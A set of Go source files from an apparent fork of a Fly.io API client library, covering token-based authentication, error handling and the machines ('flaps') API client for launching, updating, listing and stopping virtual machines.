GetAccessToken - uses email, password and possible otp to get token 225 | func GetAccessToken(ctx context.Context, email, password, otp string) (token string, err error) { 226 | var postData bytes.Buffer 227 | if err = json.NewEncoder(&postData).Encode(map[string]interface{}{ 228 | "data": map[string]interface{}{ 229 | "attributes": map[string]string{ 230 | "email": email, 231 | "password": password, 232 | "otp": otp, 233 | }, 234 | }, 235 | }); err != nil { 236 | return 237 | } 238 | 239 | url := fmt.Sprintf("%s/api/v1/sessions", baseURL) 240 | 241 | var req *http.Request 242 | if req, err = http.NewRequestWithContext(ctx, http.MethodPost, url, &postData); err != nil { 243 | return 244 | } 245 | req.Header.Set("Content-Type", "application/json") 246 | 247 | var res *http.Response 248 | if res, err = http.DefaultClient.Do(req); err != nil { 249 | return 250 | } 251 | defer func() { 252 | closeErr := res.Body.Close() 253 | if err == nil { 254 | err = closeErr 255 | } 256 | }() 257 | 258 | switch { 259 | case res.StatusCode >= http.StatusInternalServerError: 260 | err = errors.New("An unknown server error occurred, please try again") 261 | case res.StatusCode >= http.StatusBadRequest: 262 | err = errors.New("Incorrect email and password combination") 263 | default: 264 | var result map[string]map[string]map[string]string 265 | 266 | if err = json.NewDecoder(res.Body).Decode(&result); err == nil { 267 | token = result["data"]["attributes"]["access_token"] 268 | } 269 | } 270 | 271 | return 272 | } 273 | 274 | type Transport struct { 275 | UnderlyingTransport http.RoundTripper 276 | UserAgent string 277 | Token string // deprecated 278 | Tokens *tokens.Tokens 279 | EnableDebugTrace bool 280 | } 281 | 282 | func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) { 283 | t.addAuthorization(req) 284 | 285 | req.Header.Set("User-Agent", t.UserAgent) 286 | if t.EnableDebugTrace { 287 | req.Header.Set("Fly-Force-Trace", "true") 288 | } 289 | return t.UnderlyingTransport.RoundTrip(req) 290 | } 291 | 292 | func (t *Transport) tokens() *tokens.Tokens { 293 | if t.Tokens == nil { 294 | t.Tokens = tokens.Parse(t.Token) 295 | } 296 | return t.Tokens 297 | } 298 | 299 | func (t *Transport) addAuthorization(req *http.Request) { 300 | hdr, ok := req.Context().Value(contextKeyAuthorization).(string) 301 | if !ok { 302 | hdr = t.tokens().GraphQLHeader() 303 | } 304 | req.Header.Set("Authorization", hdr) 305 | } 306 | -------------------------------------------------------------------------------- /context.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | type contextKey string 6 | 7 | const ( 8 | contextKeyAuthorization = contextKey("authorization") 9 | contextKeyRequestStart = contextKey("RequestStart") 10 | ) 11 | 12 | // WithAuthorizationHeader returns a context that instructs the client to use 13 | // the specified Authorization header value. 14 | func WithAuthorizationHeader(ctx context.Context, hdr string) context.Context { 15 | return context.WithValue(ctx, contextKeyAuthorization, hdr) 16 | } 17 | -------------------------------------------------------------------------------- /duration.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "time" 7 | ) 8 | 9 | type Duration struct { 10 | time.Duration 11 | } 12 | 13 | func (d Duration) MarshalJSON() ([]byte, error) { 14 | return json.Marshal(d.String()) 15 | } 16 | 17 | func (d *Duration) UnmarshalJSON(b []byte) error { 18 | var v any 19 | if err := json.Unmarshal(b, &v); err != nil { 20 | return err 21 | } 22 | return d.ParseDuration(v) 23 | } 24 | 25 | func (d *Duration) UnmarshalTOML(v any) error { 26 | return d.ParseDuration(v) 27 | } 28 | 29 | func (d Duration) MarshalTOML() ([]byte, error) { 30 | v := fmt.Sprintf("\"%s\"", d.Duration.String()) 31 | return []byte(v), nil 32 | } 33 | 34 | func (d *Duration) MarshalText() ([]byte, error) { 35 | return []byte(d.Duration.String()), nil 36 | } 37 | 38 | func (d *Duration) UnmarshalText(text []byte) error { 39 | return d.ParseDuration(text) 40 | } 41 | 42 | func (d *Duration) ParseDuration(v any) error { 43 | if v == nil { 44 | d.Duration = 0 45 | return nil 46 | } 47 | 48 | switch value := v.(type) { 49 | case int64: 50 | d.Duration = time.Duration(value) 51 | case float64: 52 | d.Duration = time.Duration(int64(value)) 53 | case string: 54 | var err error 55 | d.Duration, err = time.ParseDuration(value) 56 | if err != nil { 57 | return err 58 | } 59 | default: 60 | return fmt.Errorf("Unknown duration type: %T", value) 61 | } 62 | return nil 63 | } 64 | 65 | // Compile parses a duration and returns, if successful, a Duration object. 66 | func ParseDuration(v any) (*Duration, error) { 67 | d := &Duration{} 68 | if err := d.ParseDuration(v); err != nil { 69 | return nil, err 70 | } 71 | return d, nil 72 | } 73 | 74 | // MustParseDuration is like ParseDuration but panics if the expression cannot be parsed. 75 | // It simplifies safe initialization of global variables holding durations 76 | // Same idea than regexp.MustCompile 77 | func MustParseDuration(v any) *Duration { 78 | d, err := ParseDuration(v) 79 | if err != nil { 80 | panic(err) 81 | } 82 | return d 83 | } 84 | -------------------------------------------------------------------------------- /error.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "net/http" 4 | 5 | type ApiError struct { 6 | WrappedError error 7 | Message string 8 | Status int 9 | } 10 | 11 | func (e *ApiError) Error() string { return e.Message } 12 | 13 | func ErrorFromResp(resp *http.Response) *ApiError { 14 | return &ApiError{ 15 | Message: resp.Status, 16 | Status: resp.StatusCode, 17 | } 18 | } 19 | 20 | func IsNotAuthenticatedError(err error) bool { 21 | if apiErr, ok := err.(*ApiError); ok { 22 | return apiErr.Status == 401 23 | } 24 | return false 25 | } 26 | 27 | func IsNotFoundError(err error) bool { 28 | if apiErr, ok := err.(*ApiError); ok { 29 | return apiErr.Status == 404 30 | } 31 | return false 32 | } 33 | 34 | func IsServerError(err error) bool { 35 | if apiErr, ok := err.(*ApiError); ok { 36 | return apiErr.Status >= 500 37 | } 38 | return false 39 | } 40 | 41 | func IsClientError(err error) bool { 42 | if apiErr, ok := err.(*ApiError); ok { 43 | return apiErr.Status >= 400 && apiErr.Status < 500 44 | } 45 | return false 46 | } 47 | -------------------------------------------------------------------------------- /flaps/actions.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | //go:generate go run golang.org/x/tools/cmd/stringer@latest -type=flapsAction 4 | 5 | // flapsAction is used to record actions in traces' attributes. 6 | type flapsAction int 7 | 8 | const ( 9 | none flapsAction = iota 10 | appCreate 11 | machineLaunch 12 | machineUpdate 13 | machineStart 14 | machineWait 15 | machineStop 16 | machineRestart 17 | machineGet 18 | machineList 19 | machineDestroy 20 | machineKill 21 | machineFindLease 22 | machineAcquireLease 23 | machineRefreshLease 24 | machineReleaseLease 25 | machineExec 26 | machinePs 27 | machineCordon 28 | machineUncordon 29 | machineSuspend 30 | secretCreate 31 | secretDelete 32 | secretGenerate 33 | secretsList 34 | volumeList 35 | volumeCreate 36 | volumetUpdate 37 | volumeGet 38 | volumeSnapshotCreate 39 | volumeSnapshotList 40 | volumeExtend 41 | volumeDelete 42 | metadataSet 43 | metadataGet 44 | metadataDel 45 | regionsGet 46 | ) 47 | -------------------------------------------------------------------------------- /flaps/context.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import "context" 4 | 5 | type ( 6 | machineIDCtxKey struct{} 7 | actionCtxKey struct{} 8 | ) 9 | 10 | func contextWithMachineID(ctx context.Context, id string) context.Context { 11 | return context.WithValue(ctx, machineIDCtxKey{}, id) 12 | } 13 | 14 | func machineIDFromContext(ctx context.Context) string { 15 | value := ctx.Value(machineIDCtxKey{}) 16 | if value == nil { 17 | return "" 18 | } 19 | return value.(string) 20 | } 21 | 22 | func contextWithAction(ctx context.Context, action flapsAction) context.Context { 23 | return context.WithValue(ctx, actionCtxKey{}, action) 24 | } 25 | 26 | func actionFromContext(ctx context.Context) flapsAction { 27 | value := ctx.Value(actionCtxKey{}) 28 | if value == nil { 29 | return none 30 | } 31 | return value.(flapsAction) 32 | } 33 | -------------------------------------------------------------------------------- /flaps/flaps.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "encoding/json" 7 | "errors" 8 | "fmt" 9 | "io" 10 | "net" 11 | "net/http" 12 | "net/url" 13 | "os" 14 | "regexp" 15 | "slices" 16 | "strings" 17 | 18 | "github.com/cenkalti/backoff/v4" 19 | fly "github.com/disastrousdr/fly-go" 20 | "github.com/disastrousdr/fly-go/internal/tracing" 21 | "github.com/disastrousdr/fly-go/tokens" 22 | "github.com/superfly/macaroon" 23 | "go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp" 24 | "go.opentelemetry.io/otel/attribute" 25 | "go.opentelemetry.io/otel/trace" 26 | ) 27 | 28 | const headerFlyRequestId = "fly-request-id" 29 | 30 | type Client struct { 31 | appName string 32 | baseUrl *url.URL 33 | tokens *tokens.Tokens 34 | httpClient *http.Client 35 | userAgent string 36 | } 37 | 38 | type NewClientOpts struct { 39 | // required: 40 | AppName string 41 | 42 | // optional, avoids API roundtrip when connecting to flaps by wireguard: 43 | AppCompact *fly.AppCompact 44 | 45 | // optional, sent with requests 46 | UserAgent string 47 | 48 | // optional, used to connect to machines API 49 | DialContext func(ctx context.Context, network, address string) (net.Conn, error) 50 | OrgSlug string // required if DialContext set 51 | 52 | // URL used when connecting via usermode wireguard. 53 | BaseURL *url.URL 54 | 55 | Tokens *tokens.Tokens 56 | 57 | // optional: 58 | Logger fly.Logger 59 | 60 | // optional, used to construct the underlying HTTP client 61 | Transport http.RoundTripper 62 | } 63 | 64 | func NewWithOptions(ctx context.Context, opts NewClientOpts) (*Client, error) { 65 | var err error 66 | flapsBaseURL := os.Getenv("FLY_FLAPS_BASE_URL") 67 | if flapsBaseURL == "" { 68 | flapsBaseURL = "https://api.machines.dev" 69 | } 70 | 71 | if opts.DialContext != nil { 72 | return newWithUsermodeWireguard(wireguardConnectionParams{ 73 | appName: opts.AppName, 74 | orgSlug: opts.OrgSlug, 75 | dialContext: opts.DialContext, 76 | baseURL: opts.BaseURL, 77 | userAgent: opts.UserAgent, 78 | }, opts.Logger) 79 | } else if flapsBaseURL == "" { 80 | flapsBaseURL = "https://api.machines.dev" 81 | } 82 | flapsUrl, err := url.Parse(flapsBaseURL) 83 | if err != nil { 84 | return nil, fmt.Errorf("invalid FLY_FLAPS_BASE_URL '%s' with error: %w", flapsBaseURL, err) 85 | } 86 | 87 | transport := http.DefaultTransport 88 | if opts.Transport != nil { 89 | transport = opts.Transport 90 | } 91 | otelTransport := otelhttp.NewTransport(transport) 92 | httpClient, err := fly.NewHTTPClient(opts.Logger, otelTransport) 93 | if err != nil { 94 | return nil, fmt.Errorf("flaps: can't setup HTTP client to %s: %w", flapsUrl.String(), err) 95 | } 96 | 97 | userAgent := "fly-go" 98 | if opts.UserAgent != "" { 99 | userAgent = opts.UserAgent 100 | } 101 | 102 | return &Client{ 103 | appName: opts.AppName, 104 | baseUrl: flapsUrl, 105 | tokens: opts.Tokens, 106 | httpClient: httpClient, 107 | userAgent: userAgent, 108 | }, nil 109 | } 110 | 111 | type wireguardConnectionParams struct { 112 | appName string 113 | orgSlug string 114 | userAgent string 115 | dialContext func(ctx context.Context, network, address string) (net.Conn, error) 116 | baseURL *url.URL 117 | tokens *tokens.Tokens 118 | } 119 | 120 | func newWithUsermodeWireguard(params wireguardConnectionParams, logger fly.Logger) (*Client, error) { 121 | transport := &http.Transport{ 122 | DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) { 123 | return params.dialContext(ctx, network, addr) 124 | }, 125 | } 126 | instrumentedTransport := otelhttp.NewTransport(transport) 127 | 128 | httpClient, err := fly.NewHTTPClient(logger, instrumentedTransport) 129 | if err != nil { 130 | return nil, fmt.Errorf("flaps: can't setup HTTP client for %s: %w", params.orgSlug, err) 131 | } 132 | 133 | return &Client{ 134 | appName: params.appName, 135 | baseUrl: params.baseURL, 136 | tokens: params.tokens, 137 | httpClient: httpClient, 138 | userAgent: params.userAgent, 139 | }, nil 140 | } 141 | 142 | func (f *Client) CreateApp(ctx context.Context, name string, org string) (err error) { 143 | in := map[string]interface{}{ 144 | "app_name": name, 145 | "org_slug": org, 146 | } 147 | 148 | ctx = contextWithAction(ctx, appCreate) 149 | 150 | err = f._sendRequest(ctx, http.MethodPost, "/apps", in, nil, nil) 151 | return 152 | } 153 | 154 | func (f *Client) WaitForApp(ctx context.Context, name string) error { 155 | ctx = contextWithAction(ctx, machineGet) 156 | 157 | var op = func() error { 158 | err := f._sendRequest(ctx, http.MethodGet, "/apps/"+url.PathEscape(name), nil, nil, nil) 159 | if err == nil { 160 | return nil 161 | } 162 | if ferr, ok := err.(*FlapsError); ok && slices.Contains([]int{404, 401}, ferr.ResponseStatusCode) { 163 | return err 164 | } 165 | return backoff.Permanent(err) 166 | } 167 | return Retry(ctx, op) 168 | } 169 | 170 | var snakeCasePattern = regexp.MustCompile("[A-Z]") 171 | 172 | func snakeCase(s string) string { 173 | return snakeCasePattern.ReplaceAllStringFunc(s, func(m string) string { 174 | return "_" + strings.ToLower(m) 175 | }) 176 | } 177 | 178 | func (f *Client) _sendRequest(ctx context.Context, method, endpoint string, in, out interface{}, headers map[string][]string) error { 179 | actionName := snakeCase(actionFromContext(ctx).String()) 180 | var caveats []string 181 | caveatNames, err := f.getCaveatNames() 182 | if err == nil { 183 | caveats = caveatNames 184 | } 185 | 186 | ctx, span := tracing.GetTracer().Start(ctx, fmt.Sprintf("flaps.%s", actionName), trace.WithAttributes( 187 | attribute.String("request.action", actionName), 188 | attribute.String("request.endpoint", endpoint), 189 | attribute.String("request.method", method), 190 | attribute.String("request.machine_id", machineIDFromContext(ctx)), 191 | attribute.StringSlice("request.caveats", caveats), 192 | )) 193 | defer span.End() 194 | 195 | // timing := instrument.Flaps.Begin() 196 | // defer timing.End() 197 | 198 | req, err := f.NewRequest(ctx, method, endpoint, in, headers) 199 | if err != nil { 200 | tracing.RecordError(span, err, "failed to prepare request") 201 | return err 202 | } 203 | req.Header.Set("User-Agent", f.userAgent) 204 | 205 | resp, err := f.httpClient.Do(req) 206 | if err != nil { 207 | tracing.RecordError(span, err, "failed to do request") 208 | return err 209 | } 210 | defer func() { 211 | err := resp.Body.Close() 212 | if err != nil { 213 | fmt.Fprintln(os.Stderr, "error closing response body:", err) 214 | } 215 | }() 216 | 217 | span.SetAttributes(attribute.Int("request.status_code", resp.StatusCode)) 218 | span.SetAttributes(attribute.String("request.id", resp.Header.Get(headerFlyRequestId))) 219 | 220 | span.AddLink(trace.Link{SpanContext: tracing.SpanContextFromHeaders(resp)}) 221 | 222 | if resp.StatusCode > 299 { 223 | responseBody, err := io.ReadAll(resp.Body) 224 | if err != nil { 225 | responseBody = make([]byte, 0) 226 | } 227 | return &FlapsError{ 228 | OriginalError: handleAPIError(resp.StatusCode, responseBody), 229 | ResponseStatusCode: resp.StatusCode, 230 | ResponseBody: responseBody, 231 | FlyRequestId: resp.Header.Get(headerFlyRequestId), 232 | TraceID: span.SpanContext().TraceID().String(), 233 | } 234 | } 235 | if out != nil { 236 | if err := json.NewDecoder(resp.Body).Decode(out); err != nil { 237 | return fmt.Errorf("failed decoding response: %w", err) 238 | } 239 | } 240 | return nil 241 | } 242 | 243 | func (f *Client) urlFromBaseUrl(pathAndQueryString string) (*url.URL, error) { 244 | newUrl := *f.baseUrl // this does a copy: https://github.com/golang/go/issues/38351#issue-597797864 245 | newPath, err := url.Parse(pathAndQueryString) 246 | if err != nil { 247 | return nil, fmt.Errorf("failed parsing flaps path '%s' with error: %w", pathAndQueryString, err) 248 | } 249 | return newUrl.ResolveReference(&url.URL{Path: newPath.Path, RawQuery: newPath.RawQuery}), nil 250 | } 251 | 252 | func (f *Client) NewRequest(ctx context.Context, method, path string, in interface{}, headers map[string][]string) (*http.Request, error) { 253 | var body io.Reader 254 | 255 | if headers == nil { 256 | headers = make(map[string][]string) 257 | } 258 | 259 | targetEndpoint, err := f.urlFromBaseUrl(fmt.Sprintf("/v1%s", path)) 260 | if err != nil { 261 | return nil, err 262 | } 263 | 264 | if in != nil { 265 | b, err := json.Marshal(in) 266 | if err != nil { 267 | return nil, err 268 | } 269 | headers["Content-Type"] = []string{"application/json"} 270 | body = bytes.NewReader(b) 271 | } 272 | 273 | req, err := http.NewRequestWithContext(ctx, method, targetEndpoint.String(), body) 274 | if err != nil { 275 | return nil, fmt.Errorf("could not create new request, %w", err) 276 | } 277 | req.Header = headers 278 | req.Header.Add("Authorization", f.tokens.FlapsHeader()) 279 | 280 | return req, nil 281 | } 282 | 283 | func (f *Client) getCaveatNames() ([]string, error) { 284 | tok := f.tokens.MacaroonsOnly().All() 285 | raws, err := macaroon.Parse(tok) 286 | if err != nil { 287 | return nil, err 288 | } 289 | 290 | m, err := macaroon.Decode(raws[0]) 291 | if err != nil { 292 | return nil, err 293 | } 294 | 295 | caveats := m.UnsafeCaveats.Caveats 296 | caveatNames := make([]string, len(caveats)) 297 | 298 | for i, c := range caveats { 299 | caveatNames[i] = c.Name() 300 | } 301 | 302 | return caveatNames, nil 303 | } 304 | 305 | // handleAPIError returns an error based on the status code and response body. 306 | func handleAPIError(statusCode int, responseBody []byte) error { 307 | switch statusCode / 100 { 308 | case 1, 3: 309 | return fmt.Errorf("API returned unexpected status, %d", statusCode) 310 | case 4, 5: 311 | apiErr := struct { 312 | Error string `json:"error"` 313 | Message string `json:"message,omitempty"` 314 | }{} 315 | jsonErr := json.Unmarshal(responseBody, &apiErr) 316 | if jsonErr != nil { 317 | return fmt.Errorf("request returned non-2xx status: %d: %s", statusCode, string(responseBody)) 318 | } else if apiErr.Message != "" { 319 | return fmt.Errorf("%s", apiErr.Message) 320 | } 321 | return errors.New(apiErr.Error) 322 | default: 323 | return errors.New("something went terribly wrong") 324 | } 325 | } 326 | -------------------------------------------------------------------------------- /flaps/flaps_error.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import ( 4 | "encoding/json" 5 | "errors" 6 | "net/http" 7 | ) 8 | 9 | var ( 10 | FlapsErrorNotFound = &FlapsError{ResponseStatusCode: http.StatusNotFound} 11 | ) 12 | 13 | type StatusCode string 14 | 15 | const ( 16 | unknown StatusCode = "unknown" 17 | regionOOCapacity StatusCode = "insufficient_capacity" 18 | ) 19 | 20 | type errorResponse struct { 21 | Error string `json:"error"` 22 | StatusCode StatusCode `json:"status"` 23 | } 24 | 25 | type FlapsError struct { 26 | OriginalError error 27 | ResponseStatusCode int 28 | ResponseBody []byte 29 | FlyRequestId string 30 | TraceID string 31 | } 32 | 33 | func (fe *FlapsError) Error() string { 34 | if fe.OriginalError == nil { 35 | return "" 36 | } 37 | return fe.OriginalError.Error() 38 | } 39 | 40 | func (fe *FlapsError) Suggestion() string { 41 | statusCode := fe.StatusCode() 42 | if statusCode == nil { 43 | return "" 44 | } 45 | 46 | switch *statusCode { 47 | case unknown: 48 | return "" 49 | case regionOOCapacity: 50 | // TODO(billy): once we have support for 'backup regions', suggest creating adding those (or eveven better, just do it automatically) 51 | return "Try choosing a different region for machine creation" 52 | } 53 | 54 | return "" 55 | } 56 | 57 | type ErrorStatusCode interface { 58 | error 59 | StatusCode() *StatusCode 60 | } 61 | 62 | func GetErrorStatusCode(err error) *StatusCode { 63 | var ferr ErrorStatusCode 64 | if errors.As(err, &ferr) { 65 | return ferr.StatusCode() 66 | } 67 | return nil 68 | } 69 | 70 | // TODO: we might not actually need an interface type here 71 | type ErrorRequestID interface { 72 | ErrRequestID() string 73 | } 74 | 75 | func GetErrorRequestID(err error) string { 76 | var ferr ErrorRequestID 77 | if errors.As(err, &ferr) { 78 | return ferr.ErrRequestID() 79 | } 80 | return "" 81 | } 82 | 83 | type ErrorTraceID interface { 84 | ErrTraceID() string 85 | } 86 | 87 | func GetErrorTraceID(err error) string { 88 | var ferr ErrorTraceID 89 | if errors.As(err, &ferr) { 90 | return ferr.ErrTraceID() 91 | } 92 | return "" 93 | } 94 | 95 | func (fe *FlapsError) StatusCode() *StatusCode { 96 | var errResp errorResponse 97 | unmarshalErr := json.Unmarshal(fe.ResponseBody, &errResp) 98 | 99 | if unmarshalErr != nil { 100 | return nil 101 | } 102 | 103 | return &errResp.StatusCode 104 | } 105 | 106 | func (fe *FlapsError) ErrRequestID() string { 107 | return fe.FlyRequestId 108 | } 109 | 110 | func (fe *FlapsError) ErrTraceID() string { 111 | return fe.TraceID 112 | } 113 | 114 | func (fe *FlapsError) Is(target error) bool { 115 | if other, ok := target.(*FlapsError); ok { 116 | return fe.ResponseStatusCode == other.ResponseStatusCode 117 | } 118 | return false 119 | } 120 | 121 | func (fe *FlapsError) Unwrap() error { 122 | return fe.OriginalError 123 | } 124 | 125 | func (fe *FlapsError) ResponseBodyString() string { 126 | return string(fe.ResponseBody) 127 | } 128 | -------------------------------------------------------------------------------- /flaps/flaps_machines.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "fmt" 7 | "net/http" 8 | "slices" 9 | "time" 10 | 11 | "github.com/cenkalti/backoff/v4" 12 | "github.com/google/go-querystring/query" 13 | fly "github.com/disastrousdr/fly-go" 14 | ) 15 | 16 | var NonceHeader = "fly-machine-lease-nonce" 17 | 18 | func (f *Client) sendRequestMachines(ctx context.Context, method, endpoint string, in, out interface{}, headers map[string][]string) error { 19 | endpoint = fmt.Sprintf("/apps/%s/machines%s", f.appName, endpoint) 20 | return f._sendRequest(ctx, method, endpoint, in, out, headers) 21 | } 22 | 23 | func (f *Client) Launch(ctx context.Context, builder fly.LaunchMachineInput) (out *fly.Machine, err error) { 24 | ctx = contextWithAction(ctx, machineLaunch) 25 | 26 | out = new(fly.Machine) 27 | if err := f.sendRequestMachines(ctx, http.MethodPost, "", builder, out, nil); err != nil { 28 | return nil, fmt.Errorf("failed to launch VM: %w", err) 29 | } 30 | 31 | return out, nil 32 | } 33 | 34 | func (f *Client) Update(ctx context.Context, builder fly.LaunchMachineInput, nonce string) (out *fly.Machine, err error) { 35 | headers := make(map[string][]string) 36 | if nonce != "" { 37 | headers[NonceHeader] = []string{nonce} 38 | } 39 | 40 | ctx = contextWithAction(ctx, machineUpdate) 41 | ctx = contextWithMachineID(ctx, builder.ID) 42 | 43 | endpoint := fmt.Sprintf("/%s", builder.ID) 44 | out = new(fly.Machine) 45 | if err := f.sendRequestMachines(ctx, http.MethodPost, endpoint, builder, out, headers); err != nil { 46 | return nil, fmt.Errorf("failed to update VM %s: %w", builder.ID, err) 47 | } 48 | return out, nil 49 | } 50 | 51 | func (f *Client) Start(ctx context.Context, machineID string, nonce string) (out *fly.MachineStartResponse, err error) { 52 | startEndpoint := fmt.Sprintf("/%s/start", machineID) 53 | 54 | headers := make(map[string][]string) 55 | if nonce != "" { 56 | headers[NonceHeader] = []string{nonce} 57 | } 58 | 59 | out = new(fly.MachineStartResponse) 60 | 61 | ctx = contextWithAction(ctx, machineStart) 62 | ctx = contextWithMachineID(ctx, machineID) 63 | 64 | if err := f.sendRequestMachines(ctx, http.MethodPost, startEndpoint, nil, out, headers); err != nil { 65 | return nil, fmt.Errorf("failed to start VM %s: %w", machineID, err) 66 | } 67 | return out, nil 68 | } 69 | 70 | type waitQuerystring struct { 71 | InstanceId string `url:"instance_id,omitempty"` 72 | TimeoutSeconds int `url:"timeout,omitempty"` 73 | State string `url:"state,omitempty"` 74 | } 75 | 76 | const proxyTimeoutThreshold = 60 * time.Second 77 | 78 | func (f *Client) Wait(ctx context.Context, machine *fly.Machine, state string, timeout time.Duration) (err error) { 79 | waitEndpoint := fmt.Sprintf("/%s/wait", machine.ID) 80 | if state == "" { 81 | state = "started" 82 | } 83 | version := machine.InstanceID 84 | if machine.Version != "" { 85 | version = machine.Version 86 | } 87 | if timeout > proxyTimeoutThreshold { 88 | timeout = proxyTimeoutThreshold 89 | } 90 | if timeout < 1*time.Second { 91 | timeout = 1 * time.Second 92 | } 93 | timeoutSeconds := int(timeout.Seconds()) 94 | waitQs := waitQuerystring{ 95 | InstanceId: version, 96 | TimeoutSeconds: timeoutSeconds, 97 | State: state, 98 | } 99 | qsVals, err := query.Values(waitQs) 100 | if err != nil { 101 | return fmt.Errorf("error making query string for wait request: %w", err) 102 | } 103 | ctx = contextWithAction(ctx, machineWait) 104 | ctx = contextWithMachineID(ctx, machine.ID) 105 | 106 | waitEndpoint += fmt.Sprintf("?%s", qsVals.Encode()) 107 | if err := f.sendRequestMachines(ctx, http.MethodGet, waitEndpoint, nil, nil, nil); err != nil { 108 | return fmt.Errorf("failed to wait for VM %s in %s state: %w", machine.ID, state, err) 109 | } 110 | return 111 | } 112 | 113 | func (f *Client) Stop(ctx context.Context, in fly.StopMachineInput, nonce string) (err error) { 114 | stopEndpoint := fmt.Sprintf("/%s/stop", in.ID) 115 | 116 | headers := make(map[string][]string) 117 | if nonce != "" { 118 | headers[NonceHeader] = []string{nonce} 119 | } 120 | 121 | ctx = contextWithAction(ctx, machineStop) 122 | ctx = contextWithMachineID(ctx, in.ID) 123 | 124 | if err := f.sendRequestMachines(ctx, http.MethodPost, stopEndpoint, in, nil, headers); err != nil { 125 | return fmt.Errorf("failed to stop VM %s: %w", in.ID, err) 126 | } 127 | return 128 | } 129 | 130 | func (f *Client) Restart(ctx context.Context, in fly.RestartMachineInput, nonce string) (err error) { 131 | headers := make(map[string][]string) 132 | if nonce != "" { 133 | headers[NonceHeader] = []string{nonce} 134 | } 135 | 136 | restartEndpoint := fmt.Sprintf("/%s/restart?force_stop=%t", in.ID, in.ForceStop) 137 | 138 | if in.Timeout != 0 { 139 | restartEndpoint += fmt.Sprintf("&timeout=%s", in.Timeout) 140 | } 141 | 142 | if in.Signal != "" { 143 | restartEndpoint += fmt.Sprintf("&signal=%s", in.Signal) 144 | } 145 | 146 | ctx = contextWithAction(ctx, machineRestart) 147 | ctx = contextWithMachineID(ctx, in.ID) 148 | 149 | if err := f.sendRequestMachines(ctx, http.MethodPost, restartEndpoint, nil, nil, headers); err != nil { 150 | return fmt.Errorf("failed to restart VM %s: %w", in.ID, err) 151 | } 152 | return 153 | } 154 | 155 | func (f *Client) Get(ctx context.Context, machineID string) (*fly.Machine, error) { 156 | getEndpoint := "" 157 | 158 | if machineID != "" { 159 | getEndpoint = fmt.Sprintf("/%s", machineID) 160 | } 161 | 162 | out := new(fly.Machine) 163 | ctx = contextWithAction(ctx, machineGet) 164 | ctx = contextWithMachineID(ctx, machineID) 165 | err := f.sendRequestMachines(ctx, http.MethodGet, getEndpoint, nil, out, nil) 166 | if err != nil { 167 | return nil, fmt.Errorf("failed to get VM %s: %w", machineID, err) 168 | } 169 | return out, nil 170 | } 171 | 172 | func (f *Client) GetMany(ctx context.Context, machineIDs []string) ([]*fly.Machine, error) { 173 | machines := make([]*fly.Machine, 0, len(machineIDs)) 174 | for _, id := range machineIDs { 175 | m, err := f.Get(ctx, id) 176 | if err != nil { 177 | return machines, err 178 | } 179 | machines = append(machines, m) 180 | } 181 | return machines, nil 182 | } 183 | 184 | func (f *Client) List(ctx context.Context, state string) ([]*fly.Machine, error) { 185 | getEndpoint := "" 186 | 187 | if state != "" { 188 | getEndpoint = fmt.Sprintf("?%s", state) 189 | } 190 | 191 | out := make([]*fly.Machine, 0) 192 | ctx = contextWithAction(ctx, machineList) 193 | 194 | err := f.sendRequestMachines(ctx, http.MethodGet, getEndpoint, nil, &out, nil) 195 | if err != nil { 196 | return nil, fmt.Errorf("failed to list VMs: %w", err) 197 | } 198 | return out, nil 199 | } 200 | 201 | // ListActive returns only non-destroyed that aren't in a reserved process group. 202 | func (f *Client) ListActive(ctx context.Context) ([]*fly.Machine, error) { 203 | getEndpoint := "" 204 | 205 | machines := make([]*fly.Machine, 0) 206 | ctx = contextWithAction(ctx, machineList) 207 | 208 | err := f.sendRequestMachines(ctx, http.MethodGet, getEndpoint, nil, &machines, nil) 209 | if err != nil { 210 | return nil, fmt.Errorf("failed to list active VMs: %w", err) 211 | } 212 | 213 | machines = slices.DeleteFunc(machines, func(m *fly.Machine) bool { 214 | return m.IsReleaseCommandMachine() || m.IsFlyAppsConsole() || !m.IsActive() 215 | }) 216 | 217 | return machines, nil 218 | } 219 | 220 | // ListFlyAppsMachines returns apps that are part of Fly Launch. 221 | // Destroyed machines and console machines are excluded. 222 | // Unlike other List functions, this function retries multiple times. 223 | func (f *Client) ListFlyAppsMachines(ctx context.Context) ([]*fly.Machine, *fly.Machine, error) { 224 | var allMachines []*fly.Machine 225 | b := backoff.NewExponentialBackOff() 226 | b.InitialInterval = 500 * time.Millisecond 227 | b.MaxElapsedTime = 5 * time.Second 228 | b.Reset() 229 | ctx = contextWithAction(ctx, machineList) 230 | err := backoff.Retry(func() error { 231 | err := f.sendRequestMachines(ctx, http.MethodGet, "", nil, &allMachines, nil) 232 | if err != nil { 233 | if errors.Is(err, FlapsErrorNotFound) { 234 | return err 235 | } else { 236 | return backoff.Permanent(err) 237 | } 238 | } 239 | return nil 240 | }, backoff.WithContext(b, ctx)) 241 | if err != nil { 242 | return nil, nil, fmt.Errorf("failed to list VMs even after retries: %w", err) 243 | } 244 | var releaseCmdMachine *fly.Machine 245 | machines := make([]*fly.Machine, 0) 246 | for _, m := range allMachines { 247 | if m.IsFlyAppsPlatform() && m.IsActive() && !m.IsFlyAppsReleaseCommand() && !m.IsFlyAppsConsole() { 248 | machines = append(machines, m) 249 | } else if m.IsFlyAppsReleaseCommand() { 250 | releaseCmdMachine = m 251 | } 252 | } 253 | return machines, releaseCmdMachine, nil 254 | } 255 | 256 | func (f *Client) Destroy(ctx context.Context, input fly.RemoveMachineInput, nonce string) (err error) { 257 | headers := make(map[string][]string) 258 | if nonce != "" { 259 | headers[NonceHeader] = []string{nonce} 260 | } 261 | 262 | destroyEndpoint := fmt.Sprintf("/%s?kill=%t", input.ID, input.Kill) 263 | ctx = contextWithAction(ctx, machineDestroy) 264 | ctx = contextWithMachineID(ctx, input.ID) 265 | 266 | if err := f.sendRequestMachines(ctx, 